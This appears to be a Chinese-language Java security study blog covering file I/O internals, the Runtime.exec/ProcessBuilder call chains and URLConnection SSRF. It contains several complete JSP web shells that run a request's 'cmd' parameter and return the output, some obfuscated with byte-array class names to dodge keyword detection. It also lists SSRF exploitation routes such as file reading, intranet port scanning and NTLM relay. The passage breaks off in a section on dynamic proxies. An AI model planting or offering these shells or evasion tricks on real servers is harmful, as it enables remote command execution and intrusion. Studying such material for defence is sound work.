1 2 3 4 5 6 7 8 9 10 11 12 13 InputStream in = process.getInputStream();InputStreamReader inputStreamReader = new InputStreamReader (in);BufferedReader bufferedReader = new BufferedReader (inputStreamReader);String line; while ((line = bufferedReader.readLine()) != null ) { System.out.println(line); } int exitcode = process.waitFor();System.out.println("进程退出:" + exitcode);
Java文件系统 众所周知Java是一个跨平台的语言,不同的操作系统有着完全不一样的文件系统和特性。JDK会根据不同的操作系统(AIX,Linux,MacOSX,Solaris,Unix,Windows
)编译成不同的版本。
在Java语言中对文件的任何操作最终都是通过JNI
调用C语言
函数实现的。Java为了能够实现跨操作系统对文件进行操作抽象了一个叫做FileSystem的对象出来,不同的操作系统只需要实现起抽象出来的文件操作方法即可实现跨平台的文件操作了。
Java FileSystem 在Java SE中内置了两类文件系统:java.io
和java.nio
,java.nio
的实现是sun.nio
,文件系统底层的API实现如下图:
Java IO 文件系统 Java抽象出了一个叫做文件系统的对象:java.io.FileSystem
,不同的操作系统有不一样的文件系统,例如Windows
和Unix
就是两种不一样的文件系统: java.io.UnixFileSystem
、java.io.WinNTFileSystem
。
java.io.FileSystem
是一个抽象类,它抽象了对文件的操作,不同操作系统版本的JDK会实现其抽象的方法从而也就实现了跨平台的文件的访问操作。
示例中的java.io.UnixFileSystem
最终会通过JNI调用native方法来实现对文件的操作:
由此我们可以得出Java只不过是实现了对文件操作的封装而已,最终读写文件的实现都是通过调用native方法实现的。
不过需要特别注意一下几点:
并不是所有的文件操作都在java.io.FileSystem
中定义,文件的读取最终调用的是java.io.FileInputStream#read0、readBytes
、java.io.RandomAccessFile#read0、readBytes
,而写文件调用的是java.io.FileOutputStream#writeBytes
、java.io.RandomAccessFile#write0
。
Java有两类文件系统API!一个是基于阻塞模式的IO
的文件系统,另一是JDK7+基于NIO.2
的文件系统。
Java NIO.2 文件系统 Java 7提出了一个基于NIO的文件系统,这个NIO文件系统和阻塞IO文件系统两者是完全独立的。java.nio.file.spi.FileSystemProvider
对文件的封装和java.io.FileSystem
同理。
Java IO流 IO 计算机系统的IO即通过数据流、序列化和文件系统提供系统输入和输出。
流 流是一个很形象的概念,当程序需要读取数据的时候,就会开启一个通向数据源 的流,这个数据源可以是文件,内存,或者是网络连接。类似的,当程序需要写入数据的时候,就会开启一个通向目的地的流。这时候你就可以想象数据好像在这其中“流”动一样。
Java把这些不同来源和目标的数据都统一抽象为数据流。
分类 按流向分: 1)输入流:程序可以从中读取数据的流; 2)输出流:程序能向其中写入数据的流
按数据传输单位分: 1)字节流:以字节为单位传输数据的流; 2)字符流:以字符为单位传输数据的流;
按功能分: 1)节点流:用于直接操作目标设备的流; 2)过滤流:是对一个已存在的流的链接和封装,通过对数据进行处理为程序提供功能强大、灵活的读写功能。
Java IO/NIO多种读写文件方式 上一章节我们提到了Java 对文件的读写分为了基于阻塞模式的IO和非阻塞模式的NIO,本章节我将列举一些我们常用于读写文件的方式。
我们通常读写文件都是使用的阻塞模式,与之对应的也就是java.io.FileSystem
。java.io.FileInputStream
类提供了对文件的读取功能,Java的其他读取文件的方法基本上都是封装了java.io.FileInputStream
类,比如:java.io.FileReader
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.y5neko.sec.filesystem;import java.io.*;public class TestFileInputStream { public static void main (String[] args) throws IOException { File file = new File ("C:\\Windows\\System32\\drivers\\etc\\hosts" ); FileInputStream fis = new FileInputStream (file); int a = 0 ; byte [] bytes = new byte [1024 ]; ByteArrayOutputStream baos = new ByteArrayOutputStream (); while ((a = fis.read(bytes)) != -1 ){ baos.write(bytes, 0 , a); } System.out.println(baos); } }
首先来看一下read方法
可以看到read方法会自动计算缓冲区的长度,并且调用readBytes,这是一个native方法,将此输入流中最多b.length长度的字节读取到缓冲区中(剪切而不是复制),如果没有数据了读就会返回-1
接着一下write方法
从偏移0处截取len长度的数据,并写入到输出流中
调用链如下:
1 2 3 java.io.FileInputStream.readBytes(FileInputStream.java:219 ) java.io.FileInputStream.read(FileInputStream.java:233 ) com.y5neko.sec.filesystem.FileInputStreamDemo.main(FileInputStreamDemo.java:27 )
其中的readBytes是native方法,文件的打开、关闭等方法也都是native方法:
1 2 3 4 5 6 private native int readBytes (byte b[], int off, int len) throws IOException;private native void open0 (String name) throws FileNotFoundException;private native int read0 () throws IOException;private native long skip0 (long n) throws IOException;private native int available0 () throws IOException;private native void close0 () throws IOException;
java.io.FileInputStream
类对应的native由C语言实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 JNIEXPORT void JNICALL Java_java_io_FileInputStream_open0 (JNIEnv *env, jobject this, jstring path) { fileOpen(env, this, path, fis_fd, O_RDONLY); } JNIEXPORT jint JNICALL Java_java_io_FileInputStream_read0 (JNIEnv *env, jobject this) { return readSingle(env, this, fis_fd); } JNIEXPORT jint JNICALL Java_java_io_FileInputStream_readBytes (JNIEnv *env, jobject this, jbyteArray bytes, jint off, jint len) { return readBytes(env, this, bytes, off, len, fis_fd); } JNIEXPORT jlong JNICALL Java_java_io_FileInputStream_skip0 (JNIEnv *env, jobject this, jlong toSkip) { jlong cur = jlong_zero; jlong end = jlong_zero; FD fd = GET_FD(this, fis_fd); if (fd == -1 ) { JNU_ThrowIOException (env, "Stream Closed" ); return 0 ; } if ((cur = IO_Lseek(fd, (jlong)0 , (jint)SEEK_CUR)) == -1 ) { JNU_ThrowIOExceptionWithLastError(env, "Seek error" ); } else if ((end = IO_Lseek(fd, toSkip, (jint)SEEK_CUR)) == -1 ) { JNU_ThrowIOExceptionWithLastError(env, "Seek error" ); } return (end - cur); } JNIEXPORT jint JNICALL Java_java_io_FileInputStream_available0 (JNIEnv *env, jobject this) { jlong ret; FD fd = GET_FD(this, fis_fd); if (fd == -1 ) { JNU_ThrowIOException (env, "Stream Closed" ); return 0 ; } if (IO_Available(fd, &ret)) { if (ret > INT_MAX) { ret = (jlong) INT_MAX; } else if (ret < 0 ) { ret = 0 ; } return jlong_to_jint(ret); } JNU_ThrowIOExceptionWithLastError(env, NULL ); return 0 ; }
FileOutputStream文件写入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.y5neko.sec.filesystem;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;public class TestFileOutputStream { public static void main (String[] args) throws IOException { File file = new File ("D:/test.txt" ); String content = "Hello Y5neKO!" ; FileOutputStream fos = new FileOutputStream (file); fos.write(content.getBytes()); fos.flush(); fos.close(); } }
flush方法是字节输出流的抽象父类OutputStream的方法,所以每个字节输出流类都会有flush方法。但是有些没有缓冲区的类flush方法只是被重写了,但什么都不做,也就是方法体是为空的。所以FileOutputStream调用flush方法什么都没做。另外,close方法也会强制清空缓冲区,因此不写flush也是可以的,但对于不能马上调用close方法的,还是需要用flush方法强制清空一下。毕竟一旦调用close方法,这个流对象也就不能用了。
RandomAccessFile Java提供了一个非常有趣的读取文件内容的类: java.io.RandomAccessFile
,这个类名字面意思是任意文件内容访问,特别之处是这个类不仅可以像java.io.FileInputStream
一样读取文件,而且还可以写文件。
RandomAccessFile读取文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package com.y5neko.sec.filesystem;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.IOException;import java.io.RandomAccessFile;public class TestRandomAccessFileInput { public static void main (String[] args) { File file = new File ("D:/test.txt" ); try { RandomAccessFile raf = new RandomAccessFile (file, "r" ); int a = 0 ; byte [] bytes = new byte [1024 ]; ByteArrayOutputStream out = new ByteArrayOutputStream (); while ((a = raf.read(bytes)) != -1 ) { out.write(bytes, 0 , a); } System.out.println(out); } catch (IOException e) { e.printStackTrace(); } } }
java.io.RandomAccessFile
类中提供了几十个readXXX
方法用以读取文件系统,最终都会调用到read0
或者readBytes
方法,我们只需要掌握如何利用RandomAccessFile
读/写文件就行了。
RandomAccessFile写文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.y5neko.sec.filesystem;import java.io.File;import java.io.IOException;import java.io.RandomAccessFile;public class TestRandomAccessFileOutput { public static void main (String[] args) { File file = new File ("D:/test.txt" ); String content = "Hello Y5neKO!" ; try { RandomAccessFile raf = new RandomAccessFile (file, "rw" ); raf.write(content.getBytes()); raf.close(); } catch (IOException e) { e.printStackTrace(); } } }
FileSystemProvider JDK7新增的NIO.2的java.nio.file.spi.FileSystemProvider
,利用FileSystemProvider
我们可以利用支持异步的通道(Channel
)模式读取文件内容。
FileSystemProvider读取文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.y5neko.sec.filesystem;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;public class TestFileSystemProviderInput { public static void main (String[] args) { Path path = Paths.get("D:/test.txt" ); try { byte [] bytes = Files.readAllBytes(path); System.out.println(new String (bytes)); } catch (IOException e) { e.printStackTrace(); } } }
java.nio.file.Files
是JDK7开始提供的一个对文件读写取非常便捷的API,其底层实在是调用了java.nio.file.spi.FileSystemProvider
来实现对文件的读写的。最为底层的实现类是sun.nio.ch.FileDispatcherImpl#read0
。
基于NIO的文件读取逻辑是:打开FileChannel->读取Channel内容。
打开FileChannel的调用链为:
1 2 3 4 5 6 7 8 9 sun.nio.ch.FileChannelImpl.<init>(FileChannelImpl.java:89 ) sun.nio.ch.FileChannelImpl.open(FileChannelImpl.java:105 ) sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:137 ) sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:148 ) sun.nio.fs.UnixFileSystemProvider.newByteChannel(UnixFileSystemProvider.java:212 ) java.nio.file.Files.newByteChannel(Files.java:361 ) java.nio.file.Files.newByteChannel(Files.java:407 ) java.nio.file.Files.readAllBytes(Files.java:3152 ) com.y5neko.sec.filesystem.FilesDemo.main(FilesDemo.java:23 )
文件读取的调用链为:
1 2 3 4 5 6 7 sun.nio.ch.FileChannelImpl.read(FileChannelImpl.java:147 ) sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:65 ) sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:109 ) sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:103 ) java.nio.file.Files.read(Files.java:3105 ) java.nio.file.Files.readAllBytes(Files.java:3158 ) com.y5neko.sec.filesystem.FilesDemo.main(FilesDemo.java:23 )
FileSystemProvider写文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.y5neko.sec.filesystem;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;public class TestFileSystemProviderOutput { public static void main (String[] args) { Path path = Paths.get("D:/test.txt" ); String content = "Hello Y5neKO!" ; try { Files.write(path, content.getBytes()); } catch (IOException e) { e.printStackTrace(); } } }
Java 文件名空字节截断漏洞 <略>
命令执行流程 常用的是 java.lang.Runtime#exec()
和 java.lang.ProcessBuilder#start()
,除此之外,还有更为底层的java.lang.ProcessImpl#start()
,他们的调用关系如下图所示:
其中,ProcessImpl类是Process抽象类的具体实现,且该类的构造函数使用private修饰,所以无法在java.lang包外直接调用,只能通过反射调用ProcessImpl#start()方法执行命令。
Runtime 比较通常用的一种命令执行方法,Runtime.getRuntime中的exec方法
1 2 3 4 5 6 import java.io.IOException;public class test { public static void main (String args[]) throws IOException{ Runtime.getRuntime().exec("calc.exe" ); } }
Runtime.getRuntime().exec 用于调用外部可执行程序或系统命令,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池。功能和windows“运行”类似
Runtime.exec不是shell环境,不能直接调用shell命令,需要对不同的操作系统调用不同的命令解释器,Windows的cmd,Linux的/bin/bash或/bin/sh等
简介 Java中,Runtime类提供了许多的API来与java runtime environment
进行交互,如:
执行一个进程。
调用垃圾回收。
查看总内存和剩余内存。
Runtime是单例的,可以通过Runtime.getRuntime()
得到这个单例。
API列表 一些常见的API
这里详细分析exec的调用链
exec调用链 首先找到接口位置,位于java.lang
的Runtime
类
首先通过getRuntime
方法获取一个Runtime对象
紧接着调用exec方法,可以看到exec一共有六个重载方法
其中完整的参数有三个,command、envp、dir,位置和类型如上,其中command为必须,envp和dir为可选;envp为环境变量,没有envp参数或许为null,那么新发动的进程就承继当时java进程的环境变量;dir为工作目录,没有dir参数或许为null,那么新发动的进程就承继当时java进程的工作目录;我们按顺序来看
java.lang.Runtime.java:347
第一个重载方法是在只传入一个String类型时执行的方法,此时envp和dir参数为null,官方的注释为:在单独的进程中执行指定的字符串命令。
java.lang.Runtime.java:387
第二个重载方法只有dir参数为空,官方的注释为:在具有指定环境的单独进程中执行指定的字符串命令。
java.lang.Runtime.java:441
第三个重载方法三个参数都有,官方的注释为:在具有指定环境和工作目录的单独进程中执行指定的字符串命令。
这个方法用到了StringTokenizer
类,作用是根据某些字符做间隔进行分割字符,具体形式后面再具体分析;最后转变为cmdarray数组传入了exec方法
省略 中间两个重载方法同上,只是command参数变成了直接接受cmdarray数组,中间会调用cmdarray的处理方法,暂时先不看
java.lang.Runtime.java:620 接下来来到重点最后一个重载方法
上面的方法return到最后一个重载方法,此时准备好调用ProcessBuilder
类创建process
Process类将持有该程序返回 Java VM 的引用。这个procss类是一个抽象类,具体子类的实现依赖于不同的底层操作系统。
而这个process类型需要通过ProcessBuilder.start()
方法进行创建
java.lang.ProcessBuilder.java:1029 跟进到ProcessBuilder.start()
方法,通过上面的步骤对cmdarray数组进行解析,取出cmdarray[0]赋值给prog,如果安全管理器SecurityManager开启,会调用SecurityManager#checkExec()对执行程序prog进行检查,检查通过后调用ProcessImpl
类的start
方法
java.lang.ProcessImpl.java:87 跟进到java.lang.ProcessImpl.java
,根据官方注释,ProcessImpl
类仅用于ProcessBuilder.start()
创建新Process
我们继续跟进到ProcessBuilder.start()
方法,Windows下会调用ProcessImpl
类的构造方法,如果是Linux环境,则会调用java.lang.UNIXProcess#init<>
java.lang.ProcessImpl.java:314 这里以Windows为例,跟进ProcessImpl
类构造方法
构造方法内,通过SecurityManager
类进行安全校验,通过allowAmbiguousCommands
变量作为是否允许调用本地进程的开关,只有当两种检查都通过的时候,则进入Legacy mode(传统模式)
传统模式调用needsEscaping
,这一步是为了对没有被双引号包裹的空格进行处理,最后通过createCommandLine
拼接成字符串
java.lang.ProcessImpl.java:386 最后通过ProcessImpl.create
方法创建进程
ProcessImpl.create 这是一个Native方法(Java调用非Java代码的接口),根据JNI命名规则,会调用ProcessImpl_md.c
中的Java_Java_lang_ProcessImpl_create
,我们来看看ProcessImpl_md.c
的源码
ProcessImpl_md.c源码:
http://hg.openjdk.java.net/lambda/lambda/jdk/file/e6aeeec33e53/src/windows/native/java/lang/ProcessImpl_md.c
可以看到接受来自java的参数,而在216行,我们可以看到调用了Windows的api函数CreateProcessW()
,他的作用是用来创建一个Windows进程
我们来看看Windows官方的定义
https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
总结 通过观察上面的整个流程,我们可以总结出Runtime.exec
的整个调用链
1 2 3 4 5 6 7 8 9 10 11 Runtime.getRuntime().exec(cmd); java.lang.Runtime.java:620 java.lang.ProcessBuilder.java:1029
Windows下调用cmd 1 2 String [] cmd = {"cmd" ,"/C" ,"calc.exe" }; Process proc = Runtime.getRuntime().exec(cmd);
Linux下调用/bin/bash 1 2 String [] cmd = {"/bin/bash" ,"-c" ,"ls" }; Process proc = Runtime.getRuntime().exec(cmd);
根据系统选择合适的解释器 1 System.getProperty("os.name" );
Java本地命令执行 Java原生提供了对本地系统命令执行的支持,黑客通常会RCE利用漏洞
或者WebShell
来执行系统终端命令控制服务器的目的。
对于开发者来说执行本地命令来实现某些程序功能(如:ps 进程管理、top内存管理等)是一个正常的需求,而对于黑客来说本地命令执行
是一种非常有利的入侵手段。
Runtime命令执行测试 runtime-exec2.jsp 1 <%=Runtime.getRuntime().exec(request.getParameter("cmd" ))%>
这样执行命令没有回显,我们可以通过字节输入流读取回显结果
runtime-exec.jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.io.ByteArrayOutputStream" %> <%@ page import ="java.io.InputStream" %> <% InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream (); int a; byte [] bytes = new byte [1024 ]; while ((a = in.read(bytes)) != -1 ){ baos.write(bytes,0 ,a); } out.write("命令结果:\n" + baos); %>
Runtime.exec调用链 Runtime.exec(xxx)
调用链如下:
1 2 3 4 5 6 7 8 org.apache.jsp.runtime_002dexec_jsp._jspService(runtime_002dexec_jsp:114 ) java.lang.Runtime.exec(Runtime.java:347 ) java.lang.Runtime.exec(Runtime.java:450 ) java.lang.Runtime.exec(Runtime.java:620 ) java.lang.ProcessBuilder.start(ProcessBuilder.java:1029 ) java.lang.ProcessImpl.start(ProcessImpl.java:134 ) java.lang.UNIXProcess.<init>(UNIXProcess.java:247 )
通过观察整个调用链我们可以清楚的看到exec
方法并不是命令执行的最终点,执行逻辑大致是:
Runtime.exec(xxx)
java.lang.ProcessBuilder.start()
new java.lang.UNIXProcess(xxx)
UNIXProcess
构造方法中调用了forkAndExec(xxx)
native方法。
forkAndExec
调用操作系统级别fork
->exec
(*nix)/CreateProcess
(Windows)执行命令并返回fork
/CreateProcess
的PID
。
有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记Runtime
和ProcessBuilder
并不是程序的最终执行点!
JSP反射Runtime类命令执行 如果我们不希望在代码中出现和Runtime
相关的关键字,我们可以全部用反射代替。
reflect-cmd.jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <%@ page contentType="text/html;charset=UTF-8" %> <%@ page import ="java.lang.reflect.Method" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.InputStream" %> <% String str = request.getParameter("cmd" ); String rt = new String (new byte []{106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 82 , 117 , 110 , 116 , 105 , 109 , 101 }); Class<?> clazz = Class.forName(rt); Method method_getRuntime = clazz.getMethod(new String (new byte []{103 , 101 , 116 , 82 , 117 , 110 , 116 , 105 , 109 , 101 })); Method method_exec = clazz.getMethod(new String (new byte []{101 , 120 , 101 , 99 }),String.class); Object object = method_exec.invoke(method_getRuntime.invoke(null ), str); Method method_getInputStream = object.getClass().getMethod(new String (new byte []{103 , 101 , 116 , 73 , 110 , 112 , 117 , 116 , 83 , 116 , 114 , 101 , 97 , 109 })); method_getInputStream.setAccessible(true ); Scanner scanner = new Scanner ((InputStream) method_getInputStream.invoke(object, new Object []{})).useDelimiter("\\A" ); String result = scanner.hasNext() ? scanner.next() : "" ; out.write(result); %>
ProcessBuilder命令执行 学习Runtime
命令执行的时候我们讲到其最终exec
方法会调用ProcessBuilder
来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder
来执行系统命令了。
process-builder.jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.ByteArrayOutputStream" %> <%@ page contentType="text/html;charset=UTF-8" %> <% InputStream in = new ProcessBuilder (request.getParameterValues("cmd" )).start().getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream (); byte [] bytes = new byte [1024 ]; int a; while ((a = in.read(bytes)) != -1 ){ baos.write(bytes,0 ,a); } out.write(baos.toString()); %>
JSP反射ProcessBuilder类命令执行 reflect-processbuilder.jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <%@ page import ="java.lang.reflect.Method" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page contentType="text/html;charset=UTF-8" %> <% Object cmd = request.getParameterValues("cmd" ); Class clazz = Class.forName(new String (new byte []{106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 80 , 114 , 111 , 99 , 101 , 115 , 115 , 66 , 117 , 105 , 108 , 100 , 101 , 114 })); Constructor constructor = clazz.getConstructor(String[].class); Method method_start = clazz.getMethod("start" ); Object object = constructor.newInstance(cmd); Object object2 = method_start.invoke(object); Method method_getInputStream = object2.getClass().getDeclaredMethod("getInputStream" ); method_getInputStream.setAccessible(true ); Scanner scanner = new Scanner ((InputStream) method_getInputStream.invoke(object2, new Object []{})).useDelimiter("\\A" ); String result = scanner.hasNext() ? scanner.next() : "" ; out.write(result); %>
UNIXProcess/ProcessImpl UNIXProcess
和ProcessImpl
其实就是最终调用native
执行系统命令的类,这个类提供了一个叫forkAndExec
的native方法,如方法名所述主要是通过fork&exec
来执行本地系统命令。
UNIXProcess
类的forkAndExec
示例:
1 2 3 4 5 6 7 8 private native int forkAndExec (int mode, byte [] helperpath, byte [] prog, byte [] argBlock, int argc, byte [] envBlock, int envc, byte [] dir, int [] fds, boolean redirectErrorStream) throws IOException;
反射UNIXProcess/ProcessImpl执行本地命令 reflect-processimpl.jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.io.*" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="java.lang.reflect.Method" %> <%! byte [] toCString(String s) { if (s == null ) { return null ; } byte [] bytes = s.getBytes(); byte [] result = new byte [bytes.length + 1 ]; System.arraycopy(bytes, 0 , result, 0 , bytes.length); result[result.length - 1 ] = (byte ) 0 ; return result; } InputStream start (String[] strs) throws Exception { String unixClass = new String (new byte []{106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 85 , 78 , 73 , 88 , 80 , 114 , 111 , 99 , 101 , 115 , 115 }); String processClass = new String (new byte []{106 , 97 , 118 , 97 , 46 , 108 , 97 , 110 , 103 , 46 , 80 , 114 , 111 , 99 , 101 , 115 , 115 , 73 , 109 , 112 , 108 }); Class clazz = null ; try { clazz = Class.forName(unixClass); } catch (ClassNotFoundException e) { clazz = Class.forName(processClass); } Constructor<?> constructor = clazz.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); assert strs != null && strs.length > 0 ; byte [][] args = new byte [strs.length - 1 ][]; int size = args.length; for (int i = 0 ; i < args.length; i++) { args[i] = strs[i + 1 ].getBytes(); size += args[i].length; } byte [] argBlock = new byte [size]; int i = 0 ; for (byte [] arg : args) { System.arraycopy(arg, 0 , argBlock, i, arg.length); i += arg.length + 1 ; } int [] envc = new int [1 ]; int [] std_fds = new int []{-1 , -1 , -1 }; FileInputStream f0 = null ; FileOutputStream f1 = null ; FileOutputStream f2 = null ; try { if (f0 != null ) f0.close(); } finally { try { if (f1 != null ) f1.close(); } finally { if (f2 != null ) f2.close(); } } Object object = constructor.newInstance( toCString(strs[0 ]), argBlock, args.length, null , envc[0 ], null , std_fds, false ); Method inMethod = object.getClass().getDeclaredMethod("getInputStream" ); inMethod.setAccessible(true ); return (InputStream) inMethod.invoke(object); } String inputStreamToString (InputStream in, String charset) throws IOException { try { if (charset == null ) { charset = "UTF-8" ; } ByteArrayOutputStream out = new ByteArrayOutputStream (); int a = 0 ; byte [] b = new byte [1024 ]; while ((a = in.read(b)) != -1 ) { out.write(b, 0 , a); } return new String (out.toByteArray()); } catch (IOException e) { throw e; } finally { if (in != null ) in.close(); } } %> <% String[] str = request.getParameterValues("cmd" ); if (str != null ) { InputStream in = start(str); String result = inputStreamToString(in, "UTF-8" ); out.println("<pre>" ); out.println(result); out.println("</pre>" ); out.flush(); out.close(); } %>
JDBC基础(暂时跳过) JDBC(Java Database Connectivity)
是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC
),不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。
JDBC Connection Java通过java.sql.DriverManager
来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在java.sql.DriverManager
中注册对应的驱动类,然后调用getConnection
方法才能连接上数据库。
JDBC定义了一个叫java.sql.Driver
的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx)
其实就是间接的调用了java.sql.Driver
类的connect
方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection
的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection
对象。
JDBC连接数据库的一般步骤:
注册驱动,Class.forName("数据库驱动的类名")
。
获取连接,DriverManager.getConnection(xxx)
。
JDBC连接数据库示例代码如下:
1 2 3 4 5 6 7 String CLASS_NAME = "com.mysql.jdbc.Driver" ;String URL = "jdbc:mysql://localhost:3306/mysql" String USERNAME = "root" ;String PASSWORD = "root" ;Class.forName(CLASS_NAME); Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
数据库配置信息 URLConnection 在java中,Java抽象出来了一个URLConnection
类,它用来表示应用程序以及与URL建立通信连接的所有类的超类,通过URL
类中的openConnection
方法获取到URLConnection
的类对象。
Java中URLConnection支持的协议可以在sun.net.www.protocol
看到。
由上图可以看到,支持的协议有以下几个(当前jdk版本:1.7.0_80):
1 file ftp mailto http https jar netdoc gopher
虽然看到有gopher
,但是gopher
实际在jdk8版本以后被阉割了,jdk7高版本虽然存在,但是需要设置
其中每个协议都有一个Handle
,Handle
定义了这个协议如何去打开一个连接。
我们来使用URL发起一个简单的请求
TestURLConnection 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package com.y5neko.sec.url;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.net.URL;import java.net.URLConnection;public class TestURLConnection { public static void main (String[] args) throws IOException { URL url = new URL ("https://blog.ysneko.com" ); URLConnection urlConnection = url.openConnection(); urlConnection.setRequestProperty("user-agent" , "Y5neKO_Browser" ); urlConnection.connect(); urlConnection.getHeaderFields(); urlConnection.getInputStream(); StringBuilder content = new StringBuilder (); BufferedReader in = new BufferedReader (new InputStreamReader (urlConnection.getInputStream())); String line; while ((line = in.readLine()) != null ){ content.append("\n" ).append(line); } System.out.println(content); } }
大概描述一下这个过程,首先使用URL建立一个对象,调用url
对象中的openConnection
来获取一个URLConnection
的实例,然后通过在URLConnection
设置各种请求参数以及一些配置,在使用其中的connect
方法来发起请求,然后在调用getInputStream
来获请求的响应流。 这是一个基本的请求到响应的过程。
SSRF 我们之前提到,由于URL类支持7种协议,因此在传入参数可控且没有做限制的情况下,很容易引发SSRF漏洞
例如,传入url参数为:
1 2 3 URL url = new URL ("file:///D:/test.txt" );URLConnection connection = url.openConnection();connection.connect();
但是如果上述代码中将url.openConnection()
返回的对象强转为HttpURLConnection
,则会抛出如下异常
1 Exception in thread "main" java.lang.ClassCastException: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection
由此看来,ssrf漏洞也对使用不同类发起的url请求也是有所区别的,如果是URLConnection|URL
发起的请求,那么对于上文中所提到的所有protocol
都支持,但是如果经过二次包装或者其他的一些类发出的请求,比如
1 2 3 4 5 HttpURLConnection HttpClient Request okhttp ……
那么只支持发起http|https
协议,否则会抛出异常。
如果传入的是http://127.0.0.1:80
,且127.0.0.1
的80
端口存在的,则会将其网页源码输出出来
但如果是非web端口的服务,则会爆出Invalid Http response
或Connection reset
异常。如果能将此异常抛出来,那么就可以对内网所有服务端口进行探测。
java中默认对(http|https)做了一些事情,比如:
关于NTLM认证的过程这边不在复述,大家可以看该文章《Ghidra 从 XXE 到 RCE》 默认跟随跳转这其中有一个坑点,就是
它会对跟随跳转的url进行协议判断,所以Java的SSRF漏洞利用方式整体比较有限。
利用file协议读取文件内容(仅限使用URLConnection|URL
发起的请求)
利用http 进行内网web服务端口探测
利用http 进行内网非web服务端口探测(如果将异常抛出来的情况下)
利用http进行ntlmrelay攻击(仅限HttpURLConnection
或者二次包装HttpURLConnection
并未复写AuthenticationInfo
方法的对象)
对于防御ssrf漏洞的攻击,不单单要对传入的协议进行判断过滤,也要对其中访问的地址进行限制过滤。
JNI安全基础(暂时跳过) Java动态代理 Java
反射提供了一种类动态代理机制,可以通过代理接口实现类来完成程序无侵入式扩展。
Java动态代理主要使用场景:
统计方法执行所耗时间。
在方法执行前后添加日志。
检测方法的参数或返回值。
方法访问权限控制。
方法Mock
测试。
动态代理API 创建动态代理类会使用到java.lang.reflect.Proxy
类和java.lang.reflect.InvocationHandler
接口。java.lang.reflect.Proxy
主要用于生成动态代理类Class
、创建代理类实例,该类实现了java.io.Serializable
接口。
java.lang.reflect.Proxy类主要有下面几种方法:
